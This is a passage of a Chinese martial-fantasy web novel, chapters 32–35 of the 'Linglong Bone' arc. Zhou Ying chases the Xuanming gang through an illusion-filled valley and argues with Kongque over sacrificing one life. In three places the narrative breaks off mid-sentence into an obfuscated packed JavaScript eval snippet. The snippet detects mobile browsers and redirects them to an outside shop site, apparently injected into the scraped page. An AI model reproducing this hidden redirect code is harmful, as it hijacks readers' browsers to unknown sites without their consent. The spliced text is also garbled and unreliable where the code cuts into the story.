周盈心上一凛,所有的马匹不是都在入谷处摔死了,怎么还会有马蹄声? 是海若渊,还是什么幻象? 随着这串不知真假的马蹄响,数十步外,浓浓白雾中又透出两点白光,周盈正想看个究竟,身后的欢山丹契却已经纵身而去,被人拉到了马上。 晴岚山市有一对赦命青鸟,刚刚欢山丹契身边只跟了一只,现在来的便是第二只了。 青鸟双至,一声留信,两声留命。 那对鸟儿一遇到便盘旋在一起,发光的眼睛凛凛盯着周盈,尖涩齐鸣一声。 雾中传来男子的声音:“他日再见青鸟,便是你身入狱府之时。” 声音远远飘来时,二人一马已经消失在浓雾里。 周盈讨了个没趣,把日月轮放回剑鞘,心想:“这人想必也晴岚山市四方卫之一。不过四方卫三男一女,不知这人又是当中的哪一位。” 她心里惦记着向愁眉,刚迈出一步,一枚飞刀猝不及防穿雾而来。无法断定刀上是否有毒,周盈不敢徒手硬接,只是稳住下盘,预防后招,然后把身子半转,侧身快速避过。 那飞刃咚地一声,正中树心,定睛一看,刀尖上插了张字条。 32. 玲珑骨(十五) 漫天白雾之中,因有赦命青鸟领路,山市二人不出三五刻便到了入谷口。 秦衣先下马,然后一只手摁在马背示意马暂时别乱动,一只手则微微抬起,要去接欢山丹契。然而欢山丹契只身夺剑,反被对方擒住,此时心中十分不舒坦,冷着脸从另一边翻身下了马,不领情道:“我的腿又没受伤,不要你扶。” 闻言,秦衣只得生生收回了悬在空中的手,对着浓雾中的影子道:“你手受伤了,我带了药,给你敷一敷,好得也快些。” 欢山丹契直接戳破:“你明明知道伤得不重。” 秦衣笑了笑。 欢山丹契又道:“你纸条上写了什么?” “告诉她同伴的动向而已。” “多此一举!” 秦衣道:“公室既然肯出手,也该是玄冥帮伏诛的时候。” 欢山丹契一听玄冥帮,脸上又生起冷意。 二人又走了一阵,脚下路越发崎岖。 秦衣原本是从另一条路进来,只是那条路现在也不清静,只好让青鸟绕了路,打算从谷口出去。然而谷口却不适合马行,坡太陡,容易出事。 想了想,秦衣道:“这山有些坡度,小白不好上去,我们自己走就是。” 说罢,挥了挥手。青鸟“呀”地叫了一声,带着白马绕路离开。雾气太重,秦衣便走在前头探路,让欢山丹契跟在后面。 须臾,空气中隐隐嗅到血腥味。雾气散了些,脚下是一滩殷红的血迹,秦衣蹲下去用剑拨弄一番,发现上面还有马毛,道:“是跌死的马。” 欢山丹契低头看了两眼,血迹的面积很大,而且过分集中,便道:“看来玄冥帮众是从这里落谷的,不过人还没死。” 秦衣收剑入鞘,对着白雾捏了个法诀,发现雾气没有丝毫被驱散迹象,奇道:“公室对付玄冥帮几个杂碎,居然要用到‘不系舟’。” 公室最擅阵法,玩起来可谓花样百出,三天三夜也说不完。而其中又以三阵最为世人熟知,海若渊擒捉莱山罗罗的绝阴阵、明师对付玉京子的不寰鸟便是其中之二,最后一样,则是不知何时在死人谷布下的“不系舟”。 欢山丹契闻言,想起什么,忽道:“公室最近不知道在搞什么名堂,上次我在边境遇见明师带着一群人大摇大摆进村,像是在查什么东西?” 秦衣心道,四村惨案闹得沸沸扬扬,明师自然不能继续安坐十里槛。瞧欢山丹契似乎什么都不知道的样子,他也没提醒,只道:“这里毕竟不受山市管辖,等我们回去山市,你别一个人乱跑,上次你和公室起冲突,实在太危险。” 欢山丹契不悦道:“我什么时候和公室起冲突?”话一出口,似想起什么,瞧了眼秦衣,把头一扭,居然没反驳。 秦衣后悔嘴快说错了话,脸上一阵尴尬。半晌,才忍不住道:“六羽把青鸟都派来找你,你还是别让她挂心为好。” 欢山丹契最讨厌他这副啰哩啰嗦的德行,然而此时不知道是听到“六羽”二字,抑或是想通了,仅仅似有似无地“嗯”了一声,居然没再乱发脾气。 * 周盈看见那刀下插着张纸,确定二人已经离开,才伸手取下飞刃。展开字条,匆匆一眼,上面只有五个字:东北十五里。 周盈与晴岚山市素无瓜葛,今日被人当面劈头盖脸一阵骂,心下一阵奇怪:“听十八学士说,阎王刺被盗那日晴岚山市派人在边境拦住了明师,不管阎王刺失踪是否与之有关系,但与公室合不来倒是事实。今天四方卫出现这里,不去找海若渊,反而来找自己麻烦。不知道他们盯上自己,究竟是针对公室,还是单纯为了日月轮?” 周盈撕了字条,不管怎样,晴岚山市早晚得走一趟了。 听海若渊话中之意,他会利用迷阵诱逼玄冥帮众杀人并且认罪,方才耽搁这么久,也不知道向愁眉安危怎样了。 还是找人要紧! 想着,便又重新催动追命火。 幸好在入谷之前就埋下追命火,追命之火两相助长,如同两端照应的灯塔,只要她这边一催动术法,轻易便可知晓入谷处方位。 那么,信中的地点就在——那里! 与火焰指向完全相反。 周盈按照推断的方向走出去好几里,四周越来越静,雾色更浓。 公室必然关注这里许久,不然怎会如此凑巧寻了这个满是浓雾的山谷。周盈置身其中,只觉越静越是欲盖弥彰,随即疑心渐起,脚步亦慢了下来。 四方卫对公室充满恶意,更将她误认为是公室之人,这信既是他们所留,那么信上的地点必然不是好心告知海若渊动向。但他们不见得认识向愁眉,周盈眸光一动,心想,看来信上地点指的是玄冥帮。 可是,晴岚山市与公室积怨已久,他们既知道公室要收拾玄冥帮,又何必好心指路? 思索间,周盈不禁停下了脚步。如果这个地点是假的,岂不是越走越偏。但若是不去,又不知这山谷深浅,只怕找到天黑也找不到人。 一阵犹豫后,周盈一咬牙,还是继续走了下去。 十五里也不算远,周盈打定主意,紧赶慢赶,估摸着十五里的距离到了,便停了下来。随即又皱了皱眉,眼前依旧只是浓浓大雾,玄冥帮一行二十多人,动起手来动静可不小,现在却一个人影都不见。 想了想,在指尖催出命火,稍稍抬高。 向愁眉见到这个,一定能认出她。 忽然,一片混沌中,模模糊糊出现了一团黑影。看那身形大小,似乎真是个人。周盈刚想开口叫住来人,那人却像撞见鬼一样,惊跳地跑开了。 无论是向愁眉还是海若渊,看到这火都不可能是这种反应,那么,就只有玄冥帮众。 那人步子跑得极快,的确是个武者。周盈怕被他跑脱,拔腿就追。 很快,周盈就察觉不对劲。 玄冥帮众早已经今非昔比,帮中大都是些滥竽充数之人,怎可能有这样利落的步法? 那人似乎被她追得急了,猛然停止了脚步。 周盈见他停下来,也放缓了脚步,决定先用言语稳住他,便道:“你别误会,我不是公室的人。” 见那人不出声,也没逃开,周盈又试探道:“你是玄冥帮的人?” 话音刚落,凭空生起一阵风,周盈下意识一个飞踢,揣向来人手腕。 哐当一声,大刀应声脱手。 周盈冲上去要擒人,那人反应极快,贴着地,嗖地一下滑了过去,滑得像条泥鳅,怎么捉也捉不住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796365|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周盈当机立断,啪啪,又是两道掌气甩了过去。 那人只顾着捡刀,没来得及躲开,两道掌气结结实实打在他身上。 等他回过头,日月轮已经架在他脖子上。 周盈厉声道:“其他人在哪里?” 那人一个字不说,视线有些飘忽无定,不知道在看什么。 周盈见他握着刀,怕他再反抗,一脚把刀踢开。 谁知刀一离手,那人开始挣扎,像发了狂一样。 想问个话怎么这么难!周盈一阵焦急,又只能先安抚他:“我不杀你,只想问几个问题。” 这话说完,那人猛然回过头,脖子往日月轮上一撞,竟然当场一命归西了。 周盈没料到他会主动求死,怔了怔,见他脖子滚出热腾腾的鲜血,一股刺心的血腥味疯狂窜入鼻中。 她两眼瞧着血像流水一样漫了一地,不知道是被这种景象惊到了,还是生理恶心,不自觉地退开两步。退开两步,又忽然想起了什么,凑近一看。 于是才看清楚死人的模样,这人长得高眉阔脸,嘴唇抿成一条线,浑身上下透出一股坚韧的气质。 周盈盯着他看了好一阵,终于想起来要去探他鼻息。 恍惚间,猛地一弯腰,背朝天,脸朝地,顾奇缘被她抱在怀中,此时恰好睁着双大眼睛与她对视。 小孩子的眼睛黑白分明,却无故透着一股审视的意味,好像在说,你杀人了吗? 周盈一阵哑然。 她想过要杀盗指玄冥,也可能会带上一两个玄冥帮众。但她没想到会在这样的情况下杀人,没有很开心,但也没有后悔,只是有些错愕。 杀死一个人居然如此轻而易举。 那人的脖子还在流血,明明这么细的脖子,却有这么多血。 周盈正欲伸手要去摸那致命的伤口,身后忽然传来脚步声。 一个老妪正一动不动看着她。 周盈猝然收回手,跳开两步,望着老妪,不知如何是好。 那老妪抿着嘴,一张皱巴巴的嘴目不可见地开开合合。粗哑的嗓子道:“姑娘,你在干什么?” 周盈脑子嗡地一下。 老人佝偻着身子,靠近了两步,又问:“姑娘,你怎么了?” 姑娘!周盈向怀中一探,金鱼草并未离身。她低头看了看自己的手,手心有一层薄茧,是常年练武练出来的,但手掌足足比之前小了一圈,手指也更为纤细、白嫩。 周盈一阵心惊:“难怪刚刚师父看到自己的模样没有反应,可是海若渊——” 猛地反应过来,她的相貌已经发生了两次变化,这是第三次! 周盈正欲开口,日月轮啪地落地。 剑上已经不见血迹,那个死在剑下的人也消失不见了。 云开雾散,老人衰老的脸上满是关怀。她手上挎了个菜篮,篮子里采了一大把新鲜野菜,站在几步外,一脸慈祥地看着周盈。 周盈觉得有些恍惚,说道:“我来寻人”。 老妪道:“你要找谁,人进了村子吗?” 周盈闻声一看,眼前一片开阔,古老的村庄静静呆在这山谷一角,野花野草夹道相迎,犹如世外桃源。 而她,正在村口站着。 33. 玲珑骨(十六) 这时村子里走出几个年轻女子,冲那老妪笑道:“孟婆婆,你择菜回来了。” 孟婆婆笑着对她们点头。 那几个女子又朝周盈一笑,说了什么话,周盈还没听清楚,人已经渐渐走远了。 一时拿不定向愁眉是否进了村子,想了想,周盈道:“那个姓向,长着双很特别的眉毛,婆婆见过吗?” 孟婆婆道:“村里很少来外人,姑娘可以随我进去问问。” 左右找不到人,周盈点点头。 一块腐朽的界碑拓入眼中,似乎年日已久,碑上的字已经被磨洗去了原貌。 进入村子后,只见烟云袅袅,白幡迎风翻飞。几处方位特殊、由青石墩子搭成的祭坛上正供奉着一幅画像,上边不知端坐着哪处神仙。 纵使周盈不久前才在槎枒村见识过唬人的山神祭奠,此时见到这个村子,也不由得暗暗称奇。 因为这一切不仅是简单的民间祭祀,村子上空隐隐传来黑气,分明是打着祭祀的旗号压制着什么可怕且强大的力量。 而村子一派祥和,也不知村民是否知情。 想了想,周盈问道:“婆婆,这是什么地方?” 孟婆婆撅屈的嘴缓缓动了几下。 周盈一头雾水:“抱歉,我没听清楚。” 孟婆婆又说了一次。 周盈只觉得耳朵嗡嗡嗡的,什么东西都没听见。孟婆婆察觉到她的异样,道:“姑娘,你叫什么?” 周盈说了自己的名字。 “周姑娘,你走到这里必然有些累了,不如先去我家休息休息,晚些时候我在帮你找人问一问。” 周盈摇摇头:“我找他有急事。” 孟婆婆道:“我家就在村口,姑娘先去喝口茶,我马上就去帮你问。” 见她盛情,又无法确定这一切是不是幻象,周盈只好点点头,随她走了进去。 与槎枒村不同,这个村子空间极为狭小,村子没有宽敞大路,只有几条靠脚踩出来的阡陌小道。没人走的地方就是杂草丛生。村子里一色青砖砌的房子,因为气候过于潮湿,房子上爬满了青苔。 孟婆婆家的门大敞着,门檐高翘,下面堆着柴火,那柴都已经劈好,清一色地码得整整齐齐。 一进门就可以听见咕嘟咕嘟的声音,一阵白烟从厨房飘出,灶上正煮着什么东西。 孟婆婆连忙揭开锅盖,拿勺子搅了几下。 周盈看她忙前忙后,忙着添水加柴洗菜。好奇道:“婆婆,你家里还有别人吗?” 孟婆婆道:“就一个老婆子,哪还有什么人。” “这粥估计是隔壁的小搜跑过来煮的。” 说着,把野菜洗干净,切碎了,洒进锅里,拿勺子一搅,腾出了白气。空气中传来粥米的清香。 孟婆婆盛了两碗粥,塞过来一碗。道:“姑娘你还没吃饭吧,将就在我这里吃点儿。” 周盈道了声谢,看着碗里热气腾腾的白粥,粥里掺着切碎烫熟的野菜。端起碗正要喝,又放下了。问道:“婆婆你不吃吗?” 孟婆婆笑道:“有些烫,我凉一会儿。” 周盈也放下碗,学着她用勺轻轻搅动着。 孟婆婆道:“姑娘,你怎么会到这里找人?” 周盈一愣,来这死人谷底寻人确实太离谱了,可是,海若渊说过这死人谷数百年没一个活人,那这个婆婆,还有在村口遇到的那几个姑娘—— 她不由得咽了口水,这究竟是迷阵还是真的闹鬼了! 总不能直接问对方是人是鬼吧! 看着对方一脸关怀却是作不得假的,而且,信中所指的确是这里。周盈暂且压下心底的疑问,胡乱扯了个谎:“我来找我的朋友,最近恶鬼的事情闹得很凶,他出来打探消息,一去就没回来,我怕他出事,跟着消息来找人,一来二去,不知怎么就到了这里。” 孟婆婆直摇头:“我们这个村子偏僻,平时没什么人来。姑娘说的恶鬼,却是没有听说过。” 周盈心道,外面因为四村惨案吵翻天,看来未必传得进这谷底,随口道:“只是些传闻,倒也当不得真。” 孟婆婆却来了兴趣:“老婆子久居这里,从没出过远路,姑娘说的事情听着新鲜,可能再说详细些吗?” 周盈便把百年之前的恶鬼灾劫并四村惨案的事情挑重要的说了。 孟婆婆一听,却笑道:“姑娘,不是我不相信你,哪有人会这么发疯,无仇无怨害死这么多人。即便有深仇大恨,顶多诅咒那人不得好死,再狠点也不过祸及子孙后人,又何必牵扯无关者。” 周盈自己也是道听途说,并没有亲眼见过当年的恶鬼劫难,便道:“只是些传闻,真假未知。” 孟婆婆问:“姑娘要找的人叫什么名字?” “向愁眉。” 周盈见她若有所思,问道:“婆婆听过这个名字?” “没听过,不过先人都说人如其名,这生来的名字必然与其人脾性有脱不开的联系。” 看周盈不置可否,温和而耐心道:“姑娘不相信吗?那让我来解一解。姑娘听了就知道对不对了。” 周盈被她勾起了好奇心,笑道:“婆婆尽管说。” 孟婆婆思索片刻,道:“愁眉二字,意寓是不大好的。” “但前面添一向字,向字,却有企盼的意思。” 周盈点点头,这些说的也合常理,却不知她如何解下去。 孟婆婆继续道:“天下父母岂有不疼爱子女的,怎会希望他眉宇添愁。” 周盈心上一动,看着顾奇缘,点了点头。 “取这个名字,必是其人性格冲动,容易急眉怒眼。人如其名,便是希望他改掉冲动的个性。” 说得还真准! 周盈笑了笑,道:“那海若渊三字又如何?” 孟婆婆沉默更久,才道:“字是好字,作人名却不太好。” 周盈奇道:“怎样说?” 孟婆婆道:“海,是百川之汇,万水归源。” “一个海字取的是广大之义。” 周盈更奇:“那怎说不好?” 孟婆婆继续道:“水是无形之物,往下穿石裂缝,往上聚为云雾,零落成雨。天地间,处处都有其归处。” 下面她却把话头一转,问道:“姑娘以为,渊字当何解?” 周盈脱口而出:“书中说潜龙腾渊,或许可解。” 孟婆婆道:“这么说也没错。不测之渊,其中或有蛟龙安处。但老婆子还有一说,姑娘也可听听。” “婆婆请说。” “渊者,即是水出地而不流。” “姑娘你看。”周盈见她把茶水,用手蘸着,一笔一画写出个“囦”字。她道,“人困为囚,水困就成了囦,何况囦渊二字本相通。” 话意中闪过一丝沧桑:“海与渊中间又偏偏取了个若字。” 周盈会心道:“若本是个虚字,但用在这两个字中间,加强了束缚的意义。” 即使广如大海,也好似无时无刻不被束缚着。无所不往,却无所不得往,终究不得自由! 孟婆婆道:“书上说,当年河伯仰视海神,盛赞其浩瀚,自以为难以望其项背。其实不然,浩瀚大海有时还不及逐波溪流来得自在。” “姑娘,在我看来,这个名字的主人,权位越高,受其束缚便越深。” 心头一震,周盈心想,海若渊手持七段金枝,早已经名扬天下,岂不是……作茧自缚。 正想着,孟婆婆笑道:“周盈姑娘,粥凉得差不多了。” 周盈看着她端起碗,一口一口吃着粥,想从中看出破绽。 孟婆婆似乎感受到她的眼光,抬起头道:“姑娘,你怎么不喝?” 周盈还心存犹疑,敷衍道:“我在想这粥他能不能吃得。” 孟婆婆看了眼孩子:“这孩子多大了?” 周盈犯了难,总不能如实说顾奇缘已经快上百岁了。而且就算能吃,也不敢随便就拿给他吃。 饿肚子只是一时的,死了就真的万事皆休。 于是顺口扯出第三个谎话:“小弟出生三月有余。” 孟婆婆说:“这么小的孩子,怎么能离开父母?” 周盈叹道:“这孩子身世坎坷,一时也说不清。” 这时,外面有个声音高声喊道:“孟婆婆,你在家吗?”说着,还不等应声,那人已经自己推门走了进来。 来人不过十八九岁的模样,长得精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796366|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘦,一张长脸被晒得黑黝黝的,看着格外精神。 孟婆婆赶紧迎了上去:“小搜,上个月你打的柴都还没用完,怎么又去担来了。” 周盈透过窗户一看,一个黑瘦的少年正低头把新担来的柴帮她靠墙一一置纳好,手上不停歇,咧嘴笑道:“我去山上捉兔子顺便捡的,也没费多少功夫。” 孟婆婆道:“快别弄了,粥还热着呢,快进来喝碗。” 小搜一进门刚好对上周盈,一时失神,随即冲孟婆婆道:“孟婆婆,家里来客人了,这姑娘是谁,怎么没见过?” 孟婆婆已经盛了粥来,连着筷子一起递给他:“周盈姑娘是来找人的。”她转过身又对周盈道,“姑娘,你可以问一问他,这小子成天东走西逛的,消息最灵通。” 小搜在她旁边坐下,又觉挨得太近,往左边挪了两下。问道:“姑娘要找的那个人叫什么名字,长什么样?” 周盈捡要紧的快快说了。 小搜慢慢喝着粥,似乎在回忆什么,他道:“他身上可带了刀?” “对,他是个刀者,兄台在哪里见过?” 小搜道:“今天我出去的时候,在山里正好遇见一群带刀之人,当时走得急,倒没怎么注意,不知道里面有没有姑娘要找的人。” 一群刀者,难道是玄冥帮! 周盈急道:“你在哪里遇到他们的?” “就在进山口。”他又道,“第一次看见这么多人,看行进的方向,我还以为他们要进村子,没想到回来路上一个人影也没看见。” 周盈放下碗,问道:“你几时遇见他们的?” 见她面带忧色,小搜放下碗,认真思索着,道:“快有两刻钟了。” 又道:“姑娘,你要是着急,我现在就带你去。” 周盈怕人走远,也不客气:“那就有劳你了。” 小搜冲孟婆婆点点头:“孟婆婆,我先带周姑娘去找人,回来再吃。” 已经是晚饭时候,抬头望去,天空已现黄昏色。村中各家各户腾起炊烟,透着股安详而自在的意味。小搜带着周盈出了村子,却瞧不见人影,周盈心上着急,在田垄上如履平地,走得飞快。小搜看了,惊异道:“姑娘走得好快。” 周盈只得稍稍放缓脚步,眼前虽是十八九岁的少年,但没有修为根基,自然跟不上她。她想了想,问道:“兄台可记得当时遇到的人大概有多少?” “姑娘直接叫我小搜就好。”又道,“少说也有二三十人。” 周盈看着日色下沉,心中越发浮躁。 出了村子,雾气渐浓,小搜奇道:“这个时候怎么会起雾。” 果然,不远处,山上已经是烟雾弥漫。 山前,两道小小的影子若隐若现藏于雾中。 周盈不知是友是敌,手上暗暗蓄了掌力。 走过去一看,那蹲在雾中的却是两个七八岁的孩子,此时正全心全意在画些什么。 周盈仔细一瞧,画上活脱脱是一尾鱼。 小搜见了,大声道:“好啊,你们两个不回家在这儿鬼混。” 闻言,周盈才知道这是这村子里的孩子,暗暗散了掌力,视线微移,那鱼旁边还有个细细长长的动物,问道:“这是蛇吗?” 其中一个孩子道:“是龙。”语气有些不满。 周盈在地上捡了根树枝,大手一挥,凭着感觉在画上勾出犄角,一看,好像还缺点什么,一番端详后又迅速补上了龙爪。 那两个小孩惊呼一声。 周盈道:“小弟弟小妹妹,你们在这里有看见背着刀的人经过吗?” 两个小孩站起身,只到周盈腰这么高,雾气聚得太快,那两张脸已经茫茫然隐在雾中。只能听见幼稚的声音:“姐姐说的那个人可是背了把黑刀?” “没错。”周盈心想,“黑刀,一定是海若渊。” 可雾气越来越浓,一旦完全聚在一起,这一切恐怕又会消失。周盈着急等他们说出答案。 那两个孩子纷纷回身一指,齐声道:“在那里。” 周盈顺着看过去,他们指的是村庄。 可是,村庄已经消失在一片浓雾中。而背后的小搜和那两个孩子,在她回头一瞬也彻彻底底消失了。 34. 玲珑骨(十七) “小搜!” 周盈伸手去拉他,却抓了个空。 眼前又是一片浓雾,身旁的三人也同时消失了。她盯着眼底那双男子的手,睁大了眼睛,她……她又变回去了! 未及细想,只觉一阵天旋地转,像一阵狂风吹过,耳畔好似无数呢喃告悼,惹得周盈脑中一阵眩晕,眼前的浓雾顷刻间随风而逝,只留下一个虚无缥缈的影子。 再一睁眼,四周高山密林,脚下山道盘曲,她已经离开了死人谷底。 远处,数道急驰的声音传入耳中,越来越近,越来越近。 “快追,别放他们走!” “那女的确定不在身边?” “没错!”一个声音道,“无论如何也不能放他们跑了,那可是玲珑骨!” 听到“玲珑骨”三个字,周盈瞬间回过神来,几十步外几个身影迅速靠近,她连忙退入树丛。 七八个中年人匆匆掠过,手上都提了兵器,马不停蹄地朝着高处跑去,完全没有注意到躲在树后面的周盈。等确定后面没人了,她嗖地从树丛里跳了出来,把落在最后一人劫住。 低声道:“你们在追谁!” 男人凭空见把利剑横在脖子上,吓得脸都白了,忙道:“有话好说,有话好说。”说着,竟偷偷捏紧了手上兵器,周盈看在眼里,将剑稍微一转,一震,男人手上兵器应声落地。 手上徒然一空,半只手臂都被震得发麻,甚至完全没有了知觉,男人惊惧交加,浑身上下抖擞不止。 周盈将剑收紧,叫他脖子上立即见了血痕,冷冷道:“话我可以问第二次,但你没有两条性命,可要好好想清楚!” 见她动真格,男人再不敢反抗,连忙求饶:“大人,饶命,饶命。” “我真的不认识那个人啊。” “嗯?” “不认识你追什么?”周盈把剑又深入了半分。 男人瞬间大惊失色:“那人带着个孩子,我们是要追那个孩子。” 带着个孩子?可是顾奇缘不是还在自己手上抱着?周盈心上顿生疑惑,然而他被吓得不轻,倒不像是在说谎,又问:“你们是为了玲珑骨?” 男人赶紧点头:“没错!没错!” 周盈收了日月轮,往他后颈一击,确定人失去意识、昏昏睡去,才快步离开。 这座山正是她与向愁眉进死人谷前看见的那座山,只是当时看到的的幻象,现在却真正的走到了山上。山不算大,亦不算险峻,匆匆问了话,周盈便寻着刚刚那几人的足迹跟了上去,不到半刻钟,果然已经能听到仓促的脚步声。 一看,又是玄冥帮众。 那几人一心全在追赶,没注意到后位空虚。忽然,一阵疾风飘过,耳根一阵发凉,紧接着几人四仰八叉、齐齐摔飞出去。 他们唧唧歪歪地哼着想要爬起,一抬头,只见一个脸生的少年剑者正冷目盯着自己,刚想还手,却发现怎样都使不上劲儿,终于惊觉,就在方才,他们的手骨竟被齐齐摔断! 众人醒悟过来,一股冷意爬上脊背,浑身猛地一颤。他们不知何时惹人着尊阎罗,被吓得冷汗澄澄,大气也不敢吱。 周盈确定他们已经无法动弹,才出声逼问:“霍安去哪里了?” 霍安在玄冥帮中是个小头目,若夺玲珑骨,他必然是要打前锋的。只要找到他,必定也能找到向愁眉。 那几个玄冥帮众听她这样问,迅速对视了一眼,谁也不肯先开口。 周盈无心等他们拖延磨叽,眼睛一顿乱扫,盯上一人。 那人正畏畏缩缩挣扎着后退,周盈也不废话,猛地上前两步,一剑刺进那人腹中。这剑刺得一点不容情,立即见了血。 周盈冷脸呵道:“你说。” 那人再畏惧霍安,也不及此刻逼命的恐惧,毫不犹豫一指:“他在夺玲珑骨……在山上,那里!” 霭霭迷雾中,果见一条又小又窄的山道。道上脚步凌乱,似有大军碾压而过。 周盈随即眼色一黯,当时在骡马大会遇到的那伙玄冥帮分明只有二十人,看现在这阵势,只怕人数远不止如此。 看着那人,问:“玄冥帮一共来了多少人?” “一两百。”那人话中透着心虚,看了周盈一眼,又改口道,“不对不对,应该有两三百人。” 周盈一听,一颗心顿时沉了下去,这座山占地并不广,却吸引了两百多个武者,真的不肯留一点活路。海若渊,你做得未免太绝了。 “是谁通知你们来的?” “是笑面书生。” 一股异样腾起。 不久前周盈才亲眼看见笑面书生被顾曾云杀死,如今却说是他传的消息,摆明是有人捣鬼。 公室要对玄冥帮动手,又不愿意公然撕破与晴岚山市的约定,便想设计居延府插手。 可……为了达到目的,公室如此不择手段,居然想害死向愁眉! 路上脚印凌乱,周盈心乱如麻,不由得加快了脚步。 忽然,一阵婴儿啼哭声破空传来,远处兵刃相接,干戈不止,杀声震天。 感觉到手上一轻,周盈低头一看,手上的孩子已经不见踪影,怀里只有空荡荡的襁褓。她连忙催燃顾命火,白焰乍现,顾奇缘又出现在她手上。周围一切如常,周盈明白,又是迷阵! 而远处婴儿的抽噎声越来越近,周盈被这个声音扰得心神不宁,明明这一路她都没听顾奇缘哭过,明明顾奇缘就在自己手里,可她就是怕听见这孩子的哭声。似乎孩子一哭,必定有什么不好的事情发生似的。 周盈飞快往山上跑去。 玄冥帮追喊之声充盈耳廓,与哭声交织在一起,宛如人间炼狱。 玄冥帮是该死,但是不应该再赔上向愁眉一条人命,死的人已经够多了。 然而没多久她不得不再次停下,孔雀往路边一站,冲她一点头:“周公子,幸会。” 这是她们第四次见面,第一次是在槎枒村,第二次是她亲自迎接周盈和十八学士上了第八槛。第三次,她与明师送别十二指玉楼之人,现在,她却在山顶之下拦路。 周盈勉强挤出笑:“孔雀姑娘,你到这里是要拦我吗?” 孔雀不比海若渊舌灿莲花,也不像欢山丹契那样句句嘲讽、咄咄逼人。她诚心道:“此地不属于公室辖域,公子要去,我自然不该拦着。”话虽如此,却丝毫没有让步的意思,她道,“不过,我有一事想请教公子。” 周盈也不应允,态度强硬:“若无急事,还请先行让路。” 孔雀道:“也不是什么重要的事,公子回答,也就是几句话的事,但若因此动起手,恐怕不是三五下就可以简单解决。” 周盈脸色并不好看,但还是冷静下来:“你说。” 孔雀道:“性命有轻重否?” 周盈道:“无。” 孔雀道:“所以公子以为人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796367|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命平等?” 周盈道:“不平等的理由在哪里?” 孔雀淡淡一笑:“有人将毙于道路,公子救不救?” 周盈想也不想:“自然救。” 孔雀道:“但若救一人将致十人、百人死,公子还救吗?” 周盈道:“你想说,如果我插手,或许就会导致玄冥帮无法伏诛,或许就会有更多人因此而死,所以我不该插手,对吗?” 孔雀没反驳,继续道:“公子也知道,当年玄冥帮仗着盗指玄冥四处为恶,就算盗指玄冥销声匿迹,他们也不见丝毫收敛。可见恶性难改。” “如今罗刹海卷土重来,三煞未死,玄冥帮有了倚仗,只会变本加厉,到时候死的就不止一二人了。” “公子怜悯别人性命,自以为是救人一命,但岂不知道是误了更多人的性命。既然要救……”她略微一顿,意有所指道,“十二指玉楼当初怎又不肯出手,偏偏在这不该出手的时候出手?” “仁慈用错了地方,可是比刀子还利害。” 周盈想也不想,脱口而出:“‘或许玄冥帮无法伏诛,或许有更多人因此而死’,只是‘或许’,而非‘已然’,所以,这一切的后果仅仅是揣测、预设、猜想,而非事实,对吗?” 孔雀被她一顿反驳,反倒笑了笑:“也不算错。” 周盈道:“以上种种无法控制的,然而救这一人,却是当下可为。所以这不是如何选择的问题,而是什么时候该做什么事情的问题。” 孔雀一阵沉默。 周盈道:“公室既然已经设下迷阵,为何不干脆骗到底,又何必多牺牲一条性命?” 孔雀道:“这阵自然可以以假乱真,但公子也知道,只要细究起来必然会发现缺漏。只要有一点儿把柄,今天所做的一切就算白费了。想让居延府出追杀令,要的是铁证。” 铁证二字,意味着无论如何今天必须死一个人。 周盈道:“所以你们擅自判处向愁眉死刑,所以你在问我该不该救之时,其实已经事先认定此人该死,对吗?” 孔雀听见她说的这句话,反而愣了两下。周盈本以为她理亏了,毕竟杀死一个无辜的人,不管再高大的理由都会显得蹩脚。 那句话还萦绕耳畔没回味过来,百米之外却凭空炸响一个烟花。孔雀听见了烟花刺耳的炸裂声,匆匆看了一眼,对周盈道:“公子,今天我言尽于此,公子要怎么做都是公子的事。” 周盈苦笑一声。 孔雀又看了怀中孩子一眼,淡淡笑道:“怀璧其罪,若想真正保护这个孩子,不如让他彻底消失。”说罢,不等周盈细思,翠色的身影消失在上山小道,而身后之路,已经被血染干净了。 打斗响声越来越远,仿佛就要偃旗息鼓,周盈看着山顶的方向,久久不能回神。也可能不是声音消失了,而是杀戮已经结束了,或许向愁眉已经死了。 她想起不久前死在自己面前那个人,想起玉京子手底下一夜死掉的千百名金刀卫,想起三摩地的数十名武者,忽然发现让一个人死居然如此轻而易举。 对一个人,性命明明这么重要,居然如此轻易就没了。 周盈第一次感受到彻骨的寒意,她记得那群追赶玲珑骨的人说的话,如果没有顾曾云,顾奇缘岂不是要被他们撕碎活剐,如果没有炎君,那一天,她岂不是已经丧生野兽腹中? 人和畜生,在某些方面居然出乎意料地一致。 35. 玲珑骨(十八) 